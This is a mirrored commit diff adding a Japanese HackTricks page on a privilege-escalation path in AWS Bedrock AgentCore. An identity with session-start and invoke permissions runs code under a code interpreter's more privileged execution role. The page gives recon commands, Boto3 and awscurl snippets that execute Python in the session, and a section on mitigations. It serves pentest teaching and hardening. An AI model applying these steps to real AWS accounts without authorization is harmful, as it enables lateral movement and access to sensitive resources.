mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
+112
@@ -0,0 +1,112 @@
|
||||
# AWS - Bedrock PrivEsc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Amazon Bedrock AgentCore
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter は管理された実行環境です。**Custom Code Interpreters** は、Code Interpreter が AWS サービスにアクセスする権限を「提供する」**`executionRoleArn`** を設定できます。
|
||||
|
||||
より権限の低い **IAM principal** が、より権限の高い **execution role** に設定された Code Interpreter セッションを **start + invoke** できる場合、呼び出し元は実質的に **execution role の権限へ pivot** できます(role の範囲によっては lateral movement / privilege escalation)。
|
||||
|
||||
> [!NOTE]
|
||||
> これは通常、**misconfiguration / excessive permissions** の問題です(interpreter の execution role に広範な権限を付与したり、invoke を広く許可したりする場合)。
|
||||
> AWS は、execution roles が invoke を許可された ID よりも **equal or fewer** の権限になるようにして、privilege escalation を回避するよう明示的に警告しています。
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- 過剰権限の **execution role** を持つ **custom code interpreter** が存在する(例: 機密な S3/Secrets/SSM へのアクセスや IAM 管理相当の権限)。
|
||||
- ユーザー(developer/auditor/CI のアイデンティティ)が次の権限を持っている:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (オプション) ユーザーが interpreter を作成できる: `bedrock-agentcore:CreateCodeInterpreter`(組織のガードレール次第で、execution role を設定した新しい interpreter を作成できる)。
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Interpreters(control-plane)を列挙し、その設定を確認:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> create-code-interpreter コマンドは `--execution-role-arn` をサポートしており、インタプリタが持つ AWS の権限を定義します。
|
||||
#### ステップ 1 - セッションを開始する(これは `sessionId` を返し、対話型シェルではありません)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
|
||||
--name "arte-oussama" \
|
||||
--query sessionId \
|
||||
--output text
|
||||
)
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### ステップ2 - Invoke code execution (Boto3 または署名付き HTTPS)
|
||||
|
||||
`start-code-interpreter-session` からは **no interactive python shell** がありません。実行は **InvokeCodeInterpreter** を介して行われます。
|
||||
|
||||
**オプションA - Boto3 の例 (execute Python + verify identity):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
|
||||
|
||||
# Execute python inside the Code Interpreter session
|
||||
resp = client.invoke_code_interpreter(
|
||||
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
|
||||
sessionId="<SESSION_ID>",
|
||||
name="executeCode",
|
||||
arguments={
|
||||
"language": "python",
|
||||
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
|
||||
}
|
||||
)
|
||||
|
||||
# Response is streamed; print events for visibility
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
インタプリタが実行ロールで構成されている場合、`sts:GetCallerIdentity()` の出力はそのロールのアイデンティティを反映するはずです(low-priv caller ではなく)、これにより pivot を実証できます。
|
||||
|
||||
**オプションB - 署名済み HTTPS 呼び出し (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
|
||||
--service bedrock-agentcore \
|
||||
--region <Region> \
|
||||
-d '{
|
||||
"name": "executeCode",
|
||||
"arguments": {
|
||||
"language": "python",
|
||||
"code": "print(\"Hello from AgentCore\")"
|
||||
}
|
||||
}'
|
||||
```
|
||||
#### Impact
|
||||
|
||||
* **Lateral movement**: interpreter execution role が持つ任意の AWS アクセスへ移動される可能性があります。
|
||||
* **Privilege escalation**: interpreter execution role が呼び出し元よりも強力な権限を持つ場合に発生します。
|
||||
* 検出が困難になる場合があります — interpreter の呼び出しに対する CloudTrail data events が有効でないと(設定によっては)invocations がデフォルトでログに記録されないことがあります。
|
||||
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Least privilege** を interpreter の `executionRoleArn` に適用する(Lambda execution roles / CI roles と同様に扱う)。
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) とセッションを開始できる者を制限する。
|
||||
* 承認された agent runtime roles を除き InvokeCodeInterpreter を拒否するために **SCPs** を使用する(org-level での強制が必要になる場合があります)。
|
||||
* 該当箇所で AgentCore に対する適切な **CloudTrail data events** を有効にし、予期しない invocations やセッション作成を検出してアラートを出す。
|
||||
|
||||
## References
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user